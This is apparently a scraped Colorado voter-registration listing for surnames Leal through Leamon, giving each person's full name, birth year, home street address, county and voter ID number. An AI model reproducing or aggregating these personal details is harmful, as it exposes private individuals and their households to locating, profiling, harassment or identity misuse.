Leal, Mary E was born in 1937 and she registered to vote, giving her address as 7098 Lipan ST, DENVER, Adams County, CO. Her voter ID number is 7002629.
Leal, Mary Elizabeth was born in 1954 and she registered to vote, giving her address as 6348 Viewpoint AVE, FIRESTONE, Weld County, CO. Her voter ID number is 6840447.
Leal, Matthew Ryan was born in 1998 and he registered to vote, giving his address as 1312 St John ST, ERIE, Boulder County, CO. His voter ID number is 601032855.
Leal, Mauricio Johvany was born in 1990 and he registered to vote, giving his address as 989 N Navajo ST UNIT 300, DENVER, Denver County, CO. His voter ID number is 601702107.
Leal, Max Lawrence was born in 1955 and he registered to vote, giving his address as 1335 S Dale CT, DENVER, Denver County, CO. His voter ID number is 200234325.
Leal, Maynor was born in 1973 and he registered to vote, giving his address as 960 Del Norte ST, DENVER, Adams County, CO. His voter ID number is 600207651.
Leal, Mayra E was born in 1988 and she registered to vote, giving her address as 579 Wright ST # 201, LAKEWOOD, Jefferson County, CO. Her voter ID number is 601524372.
Leal, Melissa was born in 1990 and she registered to vote, giving her address as 8051 Parkland ST # 213, BROOMFIELD, Broomfield County, CO. Her voter ID number is 601043607.
Leal, Michael Anthony was born in 1960 and he registered to vote, giving his address as 3120 W Jefferson AVE, SHERIDAN, Arapahoe County, CO. His voter ID number is 854467.
Leal, Michael Daniel was born in 1985 and he registered to vote, giving his address as 5701 E 8Th AVE APT 404, DENVER, Denver County, CO. His voter ID number is 6305112.
Leal, Michael L was born in 1987 and he registered to vote, giving his address as 410 Maroon AVE, CRESTED BUTTE, Gunnison County, CO. His voter ID number is 5964816.
Leal, Michael Shelton was born in 1967 and he registered to vote, giving his address as 7750 County Road 71, ROGGEN, Weld County, CO. His voter ID number is 601092508.
Leal, Michelle Patricia was born in 1986 and she registered to vote, giving her address as 1731 Killdeer CT, PUEBLO, Pueblo County, CO. Her voter ID number is 600242359.
Leal, Miguel Angel was born in 1974 and he registered to vote, giving his address as 802 Sable BLVD, AURORA, Arapahoe County, CO. His voter ID number is 949429.
Leal, Miles Julian was born in 1992 and he registered to vote, giving his address as 4574 Everett CT, WHEAT RIDGE, Jefferson County, CO. His voter ID number is 600302734.
Leal, Monica was born in 1980 and she registered to vote, giving her address as 3183 Summit WAY, GRAND JUNCTION, Mesa County, CO. Her voter ID number is 2309414.
Leal, Myrna Denise was born in 1952 and she registered to vote, giving her address as 4486 W 16Th AVE, DENVER, Denver County, CO. Her voter ID number is 600595834.
Leal, Myrna Erika was born in 1973 and she registered to vote, giving her address as 723 S Wolcott CT, DENVER, Denver County, CO. Her voter ID number is 200055109.
Leal, Nadyne D was born in 1961 and she registered to vote, giving her address as , BOULDER, Boulder County, CO. Her voter ID number is 6910575.
Leal, Nancy Ann was born in 1943 and she registered to vote, giving her address as 1910 Clark RD, BAILEY, Park County, CO. Her voter ID number is 7051189.
Leal, Nancy Jean was born in 1954 and she registered to vote, giving her address as 1760 Roberts Ridge DR, HESPERUS, La Plata County, CO. Her voter ID number is 4918735.
Leal, Nayib was born in 1992 and he registered to vote, giving his address as 2626 W 1St ST LOT 237, GREELEY, Weld County, CO. His voter ID number is 600288888.
Leal, Nicole Danielle was born in 1972 and she registered to vote, giving her address as 5015 E 17Th Avenue PKWY, DENVER, Denver County, CO. Her voter ID number is 5807287.
Leal, Nijayra was born in 1993 and she registered to vote, giving her address as 935 Sheridan BLVD # 7, LAKEWOOD, Jefferson County, CO. Her voter ID number is 601767767.
Leal, Noelia was born in 1968 and she registered to vote, giving her address as 17422 Hwy 71, BRUSH, Morgan County, CO. Her voter ID number is 600661113.
Leal, Oscar was born in 1970 and he registered to vote, giving his address as 2340 N High ST, DENVER, Denver County, CO. His voter ID number is 601287691.
Leal, Patricia Angel was born in 1984 and she registered to vote, giving her address as 1215 Cascade CT, FORT COLLINS, Larimer County, CO. Her voter ID number is 3041411.
Leal, Patricia Louise was born in 1958 and she registered to vote, giving her address as 1235 S Birch ST APT 304, DENVER, Denver County, CO. Her voter ID number is 955682.
Leal, Philip Bradley was born in 1988 and he registered to vote, giving his address as 4500 Baseline RD APT 2201, BOULDER, Boulder County, CO. His voter ID number is 601653932.
Leal, Phillip Carl was born in 1985 and he registered to vote, giving his address as 209 E Highline CIR # UNKNOWN, CENTENNIAL, Arapahoe County, CO. His voter ID number is 3034813.
Leal, Rafael was born in 1967 and he registered to vote, giving his address as 782 Holland Hills RD, BASALT, Pitkin County, CO. His voter ID number is 600407167.
Leal, Rafael was born in 1986 and he registered to vote, giving his address as 5446 S Walden CT, CENTENNIAL, Arapahoe County, CO. His voter ID number is 759839.
Leal, Ramon Daniel was born in 1991 and he registered to vote, giving his address as 630 S Dayton ST APT 17-209, DENVER, Denver County, CO. His voter ID number is 200253136.
Leal, Rebecca Bernice was born in 1961 and she registered to vote, giving her address as 2017 E 6Th ST, PUEBLO, Pueblo County, CO. Her voter ID number is 3030987.
Leal, Reynaldo was born in 1944 and he registered to vote, giving his address as 1250 Brookfield DR, LONGMONT, Boulder County, CO. His voter ID number is 8166321.
Leal, Rhonda Kay was born in 1965 and she registered to vote, giving her address as 4430 Lyndenwood CIR, HIGHLANDS RANCH, Douglas County, CO. Her voter ID number is 5825899.
Leal, Ricardo was born in 1971 and he registered to vote, giving his address as 629 S Depew ST, LAKEWOOD, Jefferson County, CO. His voter ID number is 3978180.
Leal, Richard was born in 1981 and registered to vote, giving the address as 134 N Vrain ST, DENVER, Denver County, CO. Leal voter ID number is 601835520.
Leal, Ricky Alan was born in 1967 and he registered to vote, giving his address as 59 Normandy CIR, PUEBLO, Pueblo County, CO. His voter ID number is 3108270.
Leal, Rigoberto R was born in 1963 and he registered to vote, giving his address as 9860 W 86Th PL, ARVADA, Jefferson County, CO. His voter ID number is 4061021.
Leal, Robert Daniel was born in 1951 and he registered to vote, giving his address as 6805 S Webster ST # E, LITTLETON, Jefferson County, CO. His voter ID number is 4118537.
Leal, Robert Lee was born in 1951 and he registered to vote, giving his address as 10030 Williams ST, THORNTON, Adams County, CO. His voter ID number is 600193048.
Leal, Robin Roy was born in 1971 and he registered to vote, giving his address as 187 Muscovey LN, JOHNSTOWN, Weld County, CO. His voter ID number is 6308930.
Leal, Rochelle Racine was born in 1990 and she registered to vote, giving her address as 2525 S Wolff ST, DENVER, Denver County, CO. Her voter ID number is 600166194.
Leal, Rocio was born in 1980 and she registered to vote, giving her address as 2671 Mapleton AVE APT F, BOULDER, Boulder County, CO. Her voter ID number is 2684340.
Leal, Rodrigo was born in 1993 and he registered to vote, giving his address as 1945 Doherty RD, COLO SPRINGS, El Paso County, CO. His voter ID number is 600556046.
Leal, Roger Anthony was born in 1954 and he registered to vote, giving his address as 6348 Viewpoint AVE, FIRESTONE, Weld County, CO. His voter ID number is 6991603.
Leal, Romario Estuardo was born in 1997 and he registered to vote, giving his address as 960 Del Norte ST, DENVER, Adams County, CO. His voter ID number is 600889165.
Leal, Rosalynd Marie was born in 1993 and she registered to vote, giving her address as 1128 W 15Th ST, PUEBLO, Pueblo County, CO. Her voter ID number is 600525070.
Leal, Roy Steven was born in 1954 and he registered to vote, giving his address as 9538 W San Juan CIR # 302, LITTLETON, Jefferson County, CO. His voter ID number is 4112790.
Leal, Rudolph Garland Jr was born in 1969 and he registered to vote, giving his address as 155 S Academy BLVD UNIT 2, COLO SPRINGS, El Paso County, CO. His voter ID number is 601761394.
Leal, Ryan J was born in 1989 and he registered to vote, giving his address as 7153 Quebec ST UNIT R, COMMERCE CITY, Adams County, CO. His voter ID number is 600194010.
Leal, Ryanne was born in 2000 and she registered to vote, giving her address as 187 Muscovey LN, JOHNSTOWN, Weld County, CO. Her voter ID number is 601865279.
Leal, Rylee Danielle was born in 1996 and she registered to vote, giving her address as 6432 Tuxedo Park RD, TIMNATH, Larimer County, CO. Her voter ID number is 601614896.
Leal, Samantha Ryan was born in 1989 and she registered to vote, giving her address as 4159 Hayes CIR, WELLINGTON, Larimer County, CO. Her voter ID number is 600488767.
Leal, Sandra D was born in 1939 and she registered to vote, giving her address as 13589 Via Varra # 4301, BROOMFIELD, Broomfield County, CO. Her voter ID number is 200122837.
Leal, Sarah Ann was born in 2000 and registered to vote, giving the address as 303 Summit Hall # A, FORT COLLINS, Larimer County, CO. Leal voter ID number is 601948641.
Leal, Sara Jane was born in 1985 and she registered to vote, giving her address as 17434 E Chenango DR, AURORA, Arapahoe County, CO. Her voter ID number is 200034172.
Leal, Sean Michael was born in 1997 and he registered to vote, giving his address as 632 E Clarion DR, PUEBLO WEST, Pueblo County, CO. His voter ID number is 600882497.
Leal, Seth Alan was born in 1993 and he registered to vote, giving his address as 59 Normandy CIR, PUEBLO, Pueblo County, CO. His voter ID number is 601168341.
Leal, Sheena was born in 1993 and she registered to vote, giving her address as 3425 W Warren AVE, DENVER, Denver County, CO. Her voter ID number is 600420662.
Leal, Shelly Brianna was born in 1985 and she registered to vote, giving her address as 64 N Fox ST, DENVER, Denver County, CO. Her voter ID number is 2846147.
Leal, Sofia was born in 1994 and she registered to vote, giving her address as 3100 Pearl PKWY APT 417A, BOULDER, Boulder County, CO. Her voter ID number is 600809018.
Leal, Stefanie Ann was born in 1983 and she registered to vote, giving her address as 5847 Newcombe CT, ARVADA, Jefferson County, CO. Her voter ID number is 200193447.
Leal, Suzanne Jean was born in 1947 and she registered to vote, giving her address as 6889 E Briarwood DR, CENTENNIAL, Arapahoe County, CO. Her voter ID number is 797742.
Leal, Sydney was born in 1996 and he registered to vote, giving his address as 1830 W 52Nd AVE, DENVER, Denver County, CO. His voter ID number is 601532018.
Leal, Tammy Loucinda was born in 1966 and she registered to vote, giving her address as 9324 W 66Th AVE, ARVADA, Jefferson County, CO. Her voter ID number is 200070535.
Leal, Tawnee Mackenzie was born in 1996 and she registered to vote, giving her address as 13459 Osage ST, WESTMINSTER, Adams County, CO. Her voter ID number is 600902379.
Leal, Taylor Ashlee was born in 1994 and she registered to vote, giving her address as 51 Victoria DR, JOHNSTOWN, Weld County, CO. Her voter ID number is 600542241.
Leal, Theodore Franklin was born in 1959 and he registered to vote, giving his address as 1610 24Th AVE, LONGMONT, Boulder County, CO. His voter ID number is 6585024.
Leal, Theresa Renee was born in 1987 and she registered to vote, giving her address as 3032 E 4Th ST, PUEBLO, Pueblo County, CO. Her voter ID number is 600208895.
Leal, Tiffany Lorraine was born in 1974 and she registered to vote, giving her address as 960 Del Norte ST, DENVER, Adams County, CO. Her voter ID number is 7069587.
Leal, Timothy Earl was born in 1985 and he registered to vote, giving his address as 15895 Red Deer DR, MORRISON, Jefferson County, CO. His voter ID number is 8166324.
Leal, Tina Marie was born in 1981 and she registered to vote, giving her address as 11578 Oakland DR, HENDERSON, Adams County, CO. Her voter ID number is 600693980.
Leal, Toni Lenay was born in 1989 and she registered to vote, giving her address as 2682 E 96Th WAY, THORNTON, Adams County, CO. Her voter ID number is 7076747.
Leal, Valerie Lidia was born in 1984 and she registered to vote, giving her address as 6135 Cody ST, ARVADA, Jefferson County, CO. Her voter ID number is 601712480.
Leal, Vanessa was born in 1989 and she registered to vote, giving her address as 717 Grant ST, FORT MORGAN, Morgan County, CO. Her voter ID number is 600536703.
Leal, Velia T was born in 1934 and she registered to vote, giving her address as 12525 Birch AVE, THORNTON, Adams County, CO. Her voter ID number is 6966559.
Leal, Veronica June was born in 1953 and she registered to vote, giving her address as 6805 S Webster ST # E, LITTLETON, Jefferson County, CO. Her voter ID number is 4118473.
Leal, Vilma was born in 1979 and she registered to vote, giving her address as 14347 W Wesley CIR, LAKEWOOD, Jefferson County, CO. Her voter ID number is 601737173.
Leal, Vincent J was born in 1960 and he registered to vote, giving his address as 14595 Clay ST, BROOMFIELD, Broomfield County, CO. His voter ID number is 3906697.
Leal, Xavier Alonzo was born in 1966 and he registered to vote, giving his address as 1312 St John ST, ERIE, Boulder County, CO. His voter ID number is 600369817.
Leal, Yanely Ariday was born in 1998 and registered to vote, giving the address as 956 N Navajo ST, DENVER, Denver County, CO. Leal voter ID number is 601381834.
Leal, Yessenia Guillermina was born in 1987 and she registered to vote, giving her address as 17046 E Ohio DR # 201, AURORA, Arapahoe County, CO. Her voter ID number is 898524.
Leal, Yolanda J was born in 1970 and she registered to vote, giving her address as 7820 Downing ST, DENVER, Adams County, CO. Her voter ID number is 6813830.
Leal, Yvette was born in 1986 and she registered to vote, giving her address as 1205 Mac Leod CT, DACONO, Weld County, CO. Her voter ID number is 6423785.
Leal, Zachary David was born in 2000 and registered to vote, giving the address as 3104 Three Silos DR, WELLINGTON, Larimer County, CO. Leal voter ID number is 601858471.
Leal, Zachary David was born in 1977 and he registered to vote, giving his address as 2010 E 99Th PL, THORNTON, Adams County, CO. His voter ID number is 6946080.
Leal, Zarek Scott was born in 1995 and he registered to vote, giving his address as 9123 E Mississippi AVE APT 7-302, DENVER, Denver County, CO. His voter ID number is 601153029.
Leal, Zoila was born in 1962 and she registered to vote, giving her address as 7705 W 62Nd PL, ARVADA, Jefferson County, CO. Her voter ID number is 4223959.
Lealaimatafao, Abigail Rose was born in 1995 and she registered to vote, giving her address as 505 27Th WAY UNIT 219, BOULDER, Boulder County, CO. Her voter ID number is 601483966.
Lealaimatafoa, David Jack was born in 1994 and he registered to vote, giving his address as 505 27Th WAY APT 202, BOULDER, Boulder County, CO. His voter ID number is 600950341.
Leal-Becerra, Sandra was born in 1983 and she registered to vote, giving her address as 7927 Quivas WAY, DENVER, Adams County, CO. Her voter ID number is 601736189.
Leal Bustillos, Maria Guadalupe was born in 1998 and she registered to vote, giving her address as 10700 E Dartmouth AVE UNIT Q303, DENVER, Denver County, CO. Her voter ID number is 601271535.
Leal Calderon, Ignacio was born in 1993 and he registered to vote, giving his address as 989 N Navajo ST UNIT 300, DENVER, Denver County, CO. His voter ID number is 600832330.
Leal-Cardenas, Linda was born in 1946 and she registered to vote, giving her address as 534 E 42Nd ST, LOVELAND, Larimer County, CO. Her voter ID number is 1606041.
Leal Castaneda, Victor Manuel was born in 1994 and he registered to vote, giving his address as 411 W Bijou ST, COLO SPRINGS, El Paso County, CO. His voter ID number is 600889891.
Leal Cervantes, Vianna was born in 1999 and she registered to vote, giving her address as 1622 Dyer LOOP, LOCHBUIE, Weld County, CO. Her voter ID number is 601873922.
Leal Diaz, Daniel Fernando was born in 1976 and he registered to vote, giving his address as 17285 E Ford DR, AURORA, Arapahoe County, CO. His voter ID number is 601678655.
Leal Gomez, Carlos Daniel was born in 1991 and he registered to vote, giving his address as 5561 N Auckland WAY, DENVER, Denver County, CO. His voter ID number is 601867170.
Leal Gutierrez, Alondra Ines was born in 1998 and she registered to vote, giving her address as 3222 N Pontiac ST, DENVER, Denver County, CO. Her voter ID number is 601275432.
Leal Gutierrez, Graciela Iris was born in 2000 and she registered to vote, giving her address as 4404 Morrison RD APT 301, DENVER, Denver County, CO. Her voter ID number is 601700465.
Leali, Beverly A was born in 1939 and she registered to vote, giving her address as 3232 N Leyden ST, DENVER, Denver County, CO. Her voter ID number is 2397511.
Leali, Charles E Jr was born in 1939 and he registered to vote, giving his address as 19533 E 54Th AVE, DENVER, Denver County, CO. His voter ID number is 2445919.
Leali, Elzada Faye was born in 1939 and she registered to vote, giving her address as 1901 N Eudora ST, DENVER, Denver County, CO. Her voter ID number is 600056276.
Leali, Frances Elaine was born in 1940 and she registered to vote, giving her address as 2550 N Gilpin ST, DENVER, Denver County, CO. Her voter ID number is 2472309.
Leali, Gayle Denise was born in 1963 and she registered to vote, giving her address as 3637 N Holly ST, DENVER, Denver County, CO. Her voter ID number is 2466746.
Leali, Josephine O was born in 1941 and she registered to vote, giving her address as 613 S Nome ST, AURORA, Arapahoe County, CO. Her voter ID number is 2503833.
Leali, Linda Louise was born in 1948 and she registered to vote, giving her address as 19533 E 54Th AVE, DENVER, Denver County, CO. Her voter ID number is 2400986.
Leali, Shirley Ann was born in 1943 and she registered to vote, giving her address as 3055 N Clermont ST, DENVER, Denver County, CO. Her voter ID number is 6552056.
Leal-Larsen, Vicki Arlene was born in 1964 and she registered to vote, giving her address as 4884 Bluegate DR, HIGHLANDS RANCH, Douglas County, CO. Her voter ID number is 2795390.
Leal-Lee, Sherry was born in 1964 and she registered to vote, giving her address as 998 N Xavier ST, DENVER, Denver County, CO. Her voter ID number is 2539650.
Leal Llorente, Jaime F was born in 1977 and he registered to vote, giving his address as 180 W Beaver Creek BLVD # 208, AVON, Eagle County, CO. His voter ID number is 601908460.
Leal Llorente, Rebecca was born in 1980 and she registered to vote, giving her address as 39169 Hwy 6 # B23, AVON, Eagle County, CO. Her voter ID number is 200167126.
Lealman, Merritt Spence was born in 1964 and she registered to vote, giving her address as 160 Cherokee WAY, BOULDER, Boulder County, CO. Her voter ID number is 8166325.
Lealman, Paul Stewart was born in 1957 and he registered to vote, giving his address as 160 Cherokee WAY, BOULDER, Boulder County, CO. His voter ID number is 8166326.
Leal Mccormack, Rudy was born in 1991 and he registered to vote, giving his address as 1629 Crestmore PL, FORT COLLINS, Larimer County, CO. His voter ID number is 601699084.
Leal-Mcintyre, Odilia M was born in 1964 and she registered to vote, giving her address as 6263 W Flora PL, DENVER, Denver County, CO. Her voter ID number is 2870695.
Leal Morales, Carlos Daniel was born in 1996 and he registered to vote, giving his address as 437 N Golden DR, SILT, Garfield County, CO. His voter ID number is 601001554.
Leal Ortiz, Enrique was born in 1957 and registered to vote, giving the address as 4760 N Claude CT, DENVER, Denver County, CO. Leal Ortiz voter ID number is 601421206.
Leal Osorio, Edgar Valentin was born in 1998 and he registered to vote, giving his address as 8696 Oakwood ST, WESTMINSTER, Adams County, CO. His voter ID number is 601635111.
Leal-Palacios, Cristina was born in 1992 and she registered to vote, giving her address as 1301 Burnham ST, COLO SPRINGS, El Paso County, CO. Her voter ID number is 600379753.
Leal Palacios, David was born in 1998 and he registered to vote, giving his address as 1945 Doherty RD, COLO SPRINGS, El Paso County, CO. His voter ID number is 601547274.
Leal-Palacios, Denise was born in 1996 and she registered to vote, giving her address as 1945 Doherty RD, COLO SPRINGS, El Paso County, CO. Her voter ID number is 601299741.
Leal-Perez, Alma Adriana was born in 1973 and she registered to vote, giving her address as 5400 Sheridan BLVD LOT 292, ARVADA, Adams County, CO. Her voter ID number is 2805377.
Leal Quinones, Celia S was born in 1992 and she registered to vote, giving her address as 1906 S Quitman ST, DENVER, Denver County, CO. Her voter ID number is 600623020.
Leal Robledo, Johanna Marie was born in 1977 and she registered to vote, giving her address as 2340 N High ST, DENVER, Denver County, CO. Her voter ID number is 2857172.
Leal-Saldivar, Sebastian Cuactemoc was born in 1997 and he registered to vote, giving his address as 630 S Dayton ST APT 17-207, DENVER, Denver County, CO. His voter ID number is 601261125.
Leal Schevenin, Cristobal was born in 1991 and he registered to vote, giving his address as 8381 W 77Th WAY, ARVADA, Jefferson County, CO. His voter ID number is 601636682.
Leal-Tovar, Pedro was born in 1955 and he registered to vote, giving his address as 3425 W Warren AVE, DENVER, Denver County, CO. His voter ID number is 2688843.
Leal Ugalde, Francisco Javier was born in 1977 and he registered to vote, giving his address as 420 Wood ST, FORT COLLINS, Larimer County, CO. His voter ID number is 600672873.
Leal Whitehead, Valerie A was born in 1959 and she registered to vote, giving her address as 6050 W 26Th ST, GREELEY, Weld County, CO. Her voter ID number is 6362605.
Leaman, Carleton Robert was born in 1990 and he registered to vote, giving his address as 313 Impala TRL, BAILEY, Park County, CO. His voter ID number is 200059523.
Leaman, Cedar was born in 1994 and she registered to vote, giving her address as 8750 W Eden DR, LITTLETON, Jefferson County, CO. Her voter ID number is 600682638.
Leaman, Darrell B was born in 1972 and he registered to vote, giving his address as 9833 Jasper ST, COMMERCE CITY, Adams County, CO. His voter ID number is 6969838.
Leaman, Dwayne Clinton was born in 1963 and he registered to vote, giving his address as 11101 Eagle Creek PKWY, COMMERCE CITY, Adams County, CO. His voter ID number is 6820019.
Leaman, Jeffery Clyde was born in 1951 and he registered to vote, giving his address as 11234 Eaton WAY, WESTMINSTER, Jefferson County, CO. His voter ID number is 4137745.
Leaman, John Mervin was born in 1942 and he registered to vote, giving his address as 3864 E Long PL, CENTENNIAL, Arapahoe County, CO. His voter ID number is 824968.
Leaman, Karen Ann was born in 1960 and she registered to vote, giving her address as 520 N Foote AVE, COLO SPRINGS, El Paso County, CO. Her voter ID number is 601075625.
Leaman, Kevin Thomas was born in 1989 and he registered to vote, giving his address as 512 Esther DR, COLO SPRINGS, El Paso County, CO. His voter ID number is 6879801.
Leaman, Kim Stephan was born in 1957 and she registered to vote, giving her address as 1670 S Ginger CT, DENVER, Denver County, CO. Her voter ID number is 2771440.
Leaman, Lindsay S was born in 1949 and she registered to vote, giving her address as 6861 S Marion CIR W, CENTENNIAL, Arapahoe County, CO. Her voter ID number is 828415.
Leaman, Marilyn J was born in 1942 and she registered to vote, giving her address as 3864 E Long PL, CENTENNIAL, Arapahoe County, CO. Her voter ID number is 824384.
Leaman, Matthew Moody was born in 1954 and he registered to vote, giving his address as 7346 W 97Th PL, WESTMINSTER, Jefferson County, CO. His voter ID number is 4176063.
Leaman, Richard Samuel was born in 1953 and he registered to vote, giving his address as 2 N Adams ST APT 805, DENVER, Denver County, CO. His voter ID number is 2416366.
Leaman, Robert G was born in 1951 and he registered to vote, giving his address as 313 Impala TRL, BAILEY, Park County, CO. His voter ID number is 548372.
Leaman, Robert Spencer was born in 1944 and he registered to vote, giving his address as 6861 S Marion CIR W, CENTENNIAL, Arapahoe County, CO. His voter ID number is 828360.
Leaman, Sean Tipton was born in 1983 and he registered to vote, giving his address as 313 Impala TRL, BAILEY, Park County, CO. His voter ID number is 557781.
Leaman, Stephanie Mae was born in 1984 and she registered to vote, giving her address as 313 Impala TRL, BAILEY, Park County, CO. Her voter ID number is 562290.
Leaman, Teresa Lynn was born in 1972 and she registered to vote, giving her address as 9833 Jasper ST, COMMERCE CITY, Adams County, CO. Her voter ID number is 6924243.
Leaman, Timothy Ernest was born in 1952 and he registered to vote, giving his address as 4181 Cotopaxi DR, LOVELAND, Larimer County, CO. His voter ID number is 1405164.
Leaman, Virginia J was born in 1956 and she registered to vote, giving her address as 313 Impala TRL, BAILEY, Park County, CO. Her voter ID number is 548273.
Leaman-Miller, David Karl was born in 1994 and he registered to vote, giving his address as 295 N Olive ST, DENVER, Denver County, CO. His voter ID number is 600414790.
Leaman-Miller, James Daniel was born in 1991 and he registered to vote, giving his address as 2702 W Colorado AVE APT D, COLO SPRINGS, El Paso County, CO. His voter ID number is 200288978.
Leaman-Miller, Korla Jean was born in 1959 and she registered to vote, giving her address as 295 N Olive ST, DENVER, Denver County, CO. Her voter ID number is 2780632.
Leaman-Miller, Larry Lynn was born in 1961 and he registered to vote, giving his address as 295 N Olive ST, DENVER, Denver County, CO. His voter ID number is 2762693.
Leamer, James B was born in 1941 and he registered to vote, giving his address as 3351 S Field ST # 191, LAKEWOOD, Jefferson County, CO. His voter ID number is 4002057.
Leamer, Karen Ann was born in 1959 and she registered to vote, giving her address as 2321 S St Paul ST, DENVER, Denver County, CO. Her voter ID number is 2392801.
Leaming, Alex Meredith was born in 1984 and he registered to vote, giving his address as 1416 N Jersey ST, DENVER, Denver County, CO. His voter ID number is 5556402.
Leaming, Amy Jean was born in 1976 and she registered to vote, giving her address as 313 Merganser LN, JOHNSTOWN, Weld County, CO. Her voter ID number is 600830732.
Leaming, Austin Marcus was born in 1995 and he registered to vote, giving his address as 4450 S Queen ST, LITTLETON, Jefferson County, CO. His voter ID number is 601289614.
Leaming, Bessielyn Schuller was born in 1953 and she registered to vote, giving her address as 7443 Willowind DR, COLO SPRINGS, El Paso County, CO. Her voter ID number is 200280238.
Leaming, Christeen Ann was born in 1970 and she registered to vote, giving her address as 3530 Whimbrel LN, COLO SPRINGS, El Paso County, CO. Her voter ID number is 395968.
Leaming, Cody Lee Ryan was born in 1987 and he registered to vote, giving his address as 12155 W Nevada DR # 20, LAKEWOOD, Jefferson County, CO. His voter ID number is 601768373.
Leaming, Collin Harrison was born in 1990 and he registered to vote, giving his address as 5785 S Union WAY, LITTLETON, Jefferson County, CO. His voter ID number is 600072700.
Leaming, Courtney Emma was born in 1994 and she registered to vote, giving her address as 1003 Blue Spruce DR, FORT COLLINS, Larimer County, CO. Her voter ID number is 600999268.
Leaming, Daniel Alan was born in 1977 and he registered to vote, giving his address as 313 Merganser LN, JOHNSTOWN, Weld County, CO. His voter ID number is 600927614.
Leaming, Daniel Andrew was born in 1980 and he registered to vote, giving his address as 3127 Birmingham CT, FORT COLLINS, Larimer County, CO. His voter ID number is 600193948.
Leaming, Dianne was born in 1967 and she registered to vote, giving her address as 1290 Cody ST, LAKEWOOD, Jefferson County, CO. Her voter ID number is 3991759.
Leaming, Eddie Leon was born in 1934 and he registered to vote, giving his address as 7461 Amberly DR, COLO SPRINGS, El Paso County, CO. His voter ID number is 600410752.
Leaming, Gracie Elizabeth was born in 2000 and she registered to vote, giving her address as 5785 S Union WAY, LITTLETON, Jefferson County, CO. Her voter ID number is 601774298.
Leaming, Heather Anne was born in 1969 and she registered to vote, giving her address as 4450 S Queen ST, LITTLETON, Jefferson County, CO. Her voter ID number is 601322241.
Leaming, Janet Kay was born in 1939 and she registered to vote, giving her address as 7461 Amberly DR, COLO SPRINGS, El Paso County, CO. Her voter ID number is 600410760.
Leaming, Jeffrey Edward was born in 1979 and he registered to vote, giving his address as 703 N Harrison AVE, LOVELAND, Larimer County, CO. His voter ID number is 6352624.
Leaming, Jennifer Anne was born in 1974 and she registered to vote, giving her address as 4801 Key Largo DR, FORT COLLINS, Larimer County, CO. Her voter ID number is 1446758.
Leaming, John Hoon was born in 1984 and he registered to vote, giving his address as 6286 Twilight AVE, FIRESTONE, Weld County, CO. His voter ID number is 601911644.
Leaming, Judith was born in 1942 and she registered to vote, giving her address as 12088 Hwy 82, TWIN LAKES, Lake County, CO. Her voter ID number is 600252740.
Leaming, Linda Jean was born in 1947 and she registered to vote, giving her address as 2181 Larkspur AVE, ESTES PARK, Larimer County, CO. Her voter ID number is 3582361.
Leaming, Lorence Edward was born in 1950 and he registered to vote, giving his address as 2181 Larkspur AVE, ESTES PARK, Larimer County, CO. His voter ID number is 3582362.
Leaming, Loretta Aileen was born in 1960 and she registered to vote, giving her address as 5785 S Union WAY, LITTLETON, Jefferson County, CO. Her voter ID number is 4220046.
Leaming, Lori A was born in 1961 and she registered to vote, giving her address as 3042 Drakestone DR, COLO SPRINGS, El Paso County, CO. Her voter ID number is 175287.
Leaming, Madison Rebecca was born in 1997 and she registered to vote, giving her address as 4450 S Queen ST, LITTLETON, Jefferson County, CO. Her voter ID number is 601322220.
Leaming, Mariah Noelle was born in 1991 and she registered to vote, giving her address as 4450 S Queen ST, LITTLETON, Jefferson County, CO. Her voter ID number is 601136914.
Leaming, Marylin A was born in 1947 and she registered to vote, giving her address as 4825 Astrozon BLVD APT 347F, COLO SPRINGS, El Paso County, CO. Her voter ID number is 317714.
Leaming, Melissa Kay was born in 1978 and she registered to vote, giving her address as 534 Little Fox CT, LONGMONT, Boulder County, CO. Her voter ID number is 200072202.
Leaming, Michael David was born in 1972 and he registered to vote, giving his address as 713 Robert ST, LONGMONT, Boulder County, CO. His voter ID number is 200049054.
Leaming, Michelle Lynn was born in 1977 and she registered to vote, giving her address as 713 Robert ST, LONGMONT, Boulder County, CO. Her voter ID number is 7933327.
Leaming, Paula Miguel was born in 1992 and she registered to vote, giving her address as 6286 Twilight AVE, FIRESTONE, Weld County, CO. Her voter ID number is 600836019.
Leaming, Randy Lynn was born in 1959 and he registered to vote, giving his address as 3530 Whimbrel LN, COLO SPRINGS, El Paso County, CO. His voter ID number is 232224.
Leaming, Richelle Curstin was born in 1976 and she registered to vote, giving her address as 8736 Country Creek TRL, COLO SPRINGS, El Paso County, CO. Her voter ID number is 281880.
Leaming, Russell L was born in 1970 and he registered to vote, giving his address as 4825 Astrozon BLVD # 347F, COLO SPRINGS, El Paso County, CO. His voter ID number is 200093404.
Leaming, Ryan Dixon was born in 1971 and he registered to vote, giving his address as 8736 Country Creek TRL, COLO SPRINGS, El Paso County, CO. His voter ID number is 284269.
Leaming, Sandy Lee was born in 1962 and he registered to vote, giving his address as 834 W Bijou ST, COLO SPRINGS, El Paso County, CO. His voter ID number is 306891.
Leaming, Sang Hyun was born in 1986 and he registered to vote, giving his address as 3308 Auklet DR, BERTHOUD, Larimer County, CO. His voter ID number is 600485901.
Leaming, Scott H was born in 1957 and he registered to vote, giving his address as 5785 S Union WAY, LITTLETON, Jefferson County, CO. His voter ID number is 4220236.
Leaming, Scott L was born in 1978 and he registered to vote, giving his address as 11978 Hwy 82, TWIN LAKES, Lake County, CO. His voter ID number is 8462826.
Leaming, Steven Allan was born in 1952 and he registered to vote, giving his address as 7443 Willowind DR, COLO SPRINGS, El Paso County, CO. His voter ID number is 600281641.
Leaming, Summer Elaine was born in 1980 and she registered to vote, giving her address as 3127 Birmingham CT, FORT COLLINS, Larimer County, CO. Her voter ID number is 600254460.
Leaming, Susannah Argote was born in 1973 and she registered to vote, giving her address as 625 Mansfield DR, FORT COLLINS, Larimer County, CO. Her voter ID number is 601966739.
Leamon, Angel Marie was born in 1961 and she registered to vote, giving her address as 630 Polk ST, PUEBLO, Pueblo County, CO. Her voter ID number is 600377611.
Leamon, Ariana Blake was born in 1994 and she registered to vote, giving her address as 616 Lincoln ST, FORT MORGAN, Morgan County, CO. Her voter ID number is 600611713.
Leamon, Ariel Renay was born in 1991 and she registered to vote, giving her address as 2460 E Payne CIR, COLO SPRINGS, El Paso County, CO. Her voter ID number is 600616159.
Leamon, Cheryl Garine was born in 1982 and she registered to vote, giving her address as 8719 S Addison WAY, AURORA, Douglas County, CO. Her voter ID number is 2921978.
Leamon, Christopher Alfred was born in 1983 and he registered to vote, giving his address as 8719 S Addison WAY, AURORA, Douglas County, CO. His voter ID number is 7027415.
